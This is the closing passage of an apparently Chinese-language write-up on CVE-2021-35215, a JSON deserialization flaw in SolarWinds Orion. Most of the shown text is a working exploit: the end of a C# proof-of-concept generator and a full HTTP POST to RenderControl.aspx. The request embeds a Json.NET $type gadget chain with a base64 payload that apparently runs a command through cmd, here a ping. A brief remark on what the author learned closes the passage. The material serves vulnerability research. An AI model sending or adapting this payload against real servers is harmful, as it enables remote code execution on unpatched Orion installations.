new StreamWriter(@"C:\Users\admin\Desktop\my\code\netcore\ConsoleApp1\ConsoleApp1\poc.json");
// serializeObject = serializeObject.Replace("\"", "\\\"");
streamWriter.Write(serializeObject);
streamWriter.Close();
}
}
}
POST /Orion/RenderControl.aspx HTTP/1.1
Host: 192.168.137.130:8787
Content-Length: 3648
Cache-Control: max-age=0
Origin: http://192.168.137.130:8787
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.137.130:8787/Orion/RenderControl.aspx
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie:
Connection: close
{"Control":"~/Orion/Actions/Controls/CustomPropertyView.ascx","config":{"EnviromentType":"Alerting","ViewContextJsonString":"
{
\"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertingActionContext, SolarWinds.Orion.Actions.Models\",
\"ExecutionMode\": 0,
\"EnviromentType\": 0,
\"EntityType\": null,
\"EntityUri\": null,
\"EntityUris\": null,
\"IsGlobalAlert\": false,
\"AlertContext\": {
\"$type\": \"SolarWinds.Orion.Core.Models.Actions.Contexts.AlertContext, SolarWinds.Orion.Actions.Models\",
\"AlertName\": null,
\"CreatedBy\": null
},
\"AlertActiveId\": null,
\"AlertObjectId\": null,
\"NetObjectData\": null,
\"ObjectDataExists\": false,
\"MacroContext\": {
\"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.MacroContext, SolarWinds.Orion.Core.Models.V1\",
\"contexts\": [
{
\"$type\": \"SolarWinds.Orion.Core.Models.MacroParsing.SwisEntityContext, SolarWinds.Orion.Core.Models.V1\",
\"DisplayName\": \"Net object properties\",
\"EntityType\": null,
\"EntityUri\": null,
\"EntityProperties\": {
\"$type\": \"SolarWinds.InformationService.Contract2.PropertyBag, SolarWinds.InformationService.Contract2\",
\"1\": {
\"$type\": \"System.IdentityModel.Tokens.SessionSecurityToken, System.IdentityModel, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089\",
\"SessionToken\": {
\"$type\": \"System.Byte[], mscorlib\",
\"$value\": \"QBRTZWN1cml0eUNvbnRleHRUb2tlbkAHVmVyc2lvboNAGVNlY3VyZUNvbnZlcnNhdGlvblZlcnNpb26ZKGh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDIvc2NAAklkg0AJQ29udGV4dElkg0ADS2V5nwEBQA1FZmZlY3RpdmVUaW1lg0AKRXhwaXJ5VGltZYNAEEtleUVmZmVjdGl2ZVRpbWWDQA1LZXlFeHBpcnlUaW1lg0APQ2xhaW1zUHJpbmNpcGFsQApJZGVudGl0aWVzQAhJZGVudGl0eUAOQm9vdFN0cmFwVG9rZW6a1ARBQUVBQUFELy8vLy9BUUFBQUFBQUFBQU1BZ0FBQUY1TmFXTnliM052Wm5RdVVHOTNaWEpUYUdWc2JDNUZaR2wwYjNJc0lGWmxjbk5wYjI0OU15NHdMakF1TUN3Z1EzVnNkSFZ5WlQxdVpYVjBjbUZzTENCUWRXSnNhV05MWlhsVWIydGxiajB6TVdKbU16ZzFObUZrTXpZMFpUTTFCUUVBQUFCQ1RXbGpjbTl6YjJaMExsWnBjM1ZoYkZOMGRXUnBieTVVWlhoMExrWnZjbTFoZEhScGJtY3VWR1Y0ZEVadmNtMWhkSFJwYm1kU2RXNVFjbTl3WlhKMGFXVnpBUUFBQUE5R2IzSmxaM0p2ZFc1a1FuSjFjMmdCQWdBQUFBWURBQUFBdndVOFAzaHRiQ0IyWlhKemFXOXVQU0l4TGpBaUlHVnVZMjlrYVc1blBTSjFkR1l0T0NJL1BnMEtQRTlpYW1WamRFUmhkR0ZRY205MmFXUmxjaUJOWlhSb2IyUk9ZVzFsUFNKVGRHRnlkQ0lnU1hOSmJtbDBhV0ZzVEc5aFpFVnVZV0pzWldROUlrWmhiSE5sSWlCNGJXeHVjejBpYUhSMGNEb3ZMM05qYUdWdFlYTXViV2xqY205emIyWjBMbU52YlM5M2FXNW1lQzh5TURBMkwzaGhiV3d2Y0hKbGMyVnVkR0YwYVc5dUlpQjRiV3h1Y3pwelpEMGlZMnh5TFc1aGJXVnpjR0ZqWlRwVGVYTjBaVzB1UkdsaFoyNXZjM1JwWTNNN1lYTnpaVzFpYkhrOVUzbHpkR1Z0SWlCNGJXeHVjenA0UFNKb2RIUndPaTh2YzJOb1pXMWhjeTV0YVdOeWIzTnZablF1WTI5dEwzZHBibVo0THpJd01EWXZlR0Z0YkNJK0RRb2dJRHhQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEl1VDJKcVpXTjBTVzV6ZEdGdVkyVStEUW9nSUNBZ1BITmtPbEJ5YjJObGMzTStEUW9nSUNBZ0lDQThjMlE2VUhKdlkyVnpjeTVUZEdGeWRFbHVabTgrRFFvZ0lDQWdJQ0FnSUR4elpEcFFjbTlqWlhOelUzUmhjblJKYm1adklFRnlaM1Z0Wlc1MGN6MGlMMk1nY0dsdVp5QnNiMk5oYkdodmMzUWdMWFFpSUZOMFlXNWtZWEprUlhKeWIzSkZibU52WkdsdVp6MGllM2c2VG5Wc2JIMGlJRk4wWVc1a1lYSmtUM1YwY0hWMFJXNWpiMlJwYm1jOUludDRPazUxYkd4OUlpQlZjMlZ5VG1GdFpUMGlJaUJRWVhOemQyOXlaRDBpZTNnNlRuVnNiSDBpSUVSdmJXRnBiajBpSWlCTWIyRmtWWE5sY2xCeWIyWnBiR1U5SWtaaGJITmxJaUJHYVd4bFRtRnRaVDBpWTIxa0lpQXZQZzBLSUNBZ0lDQWdQQzl6WkRwUWNtOWpaWE56TGxOMFlYSjBTVzVtYno0TkNpQWdJQ0E4TDNOa09sQnliMk5sYzNNK0RRb2dJRHd2VDJKcVpXTjBSR0YwWVZCeWIzWnBaR1Z5TGs5aWFtVmpkRWx1YzNSaGJtTmxQZzBLUEM5UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJK0N3PT0BAQEBAQ==\"
}
}
}
}
]
}
}
"},"pd989ovue8":"="}
结尾
分析过程还是挺有意思的,如CVE-2021-35215
漏洞的通过加载json反序列化获取值进行控件加载,寻找可利用控件触发net. json反序列化触发。受益颇多。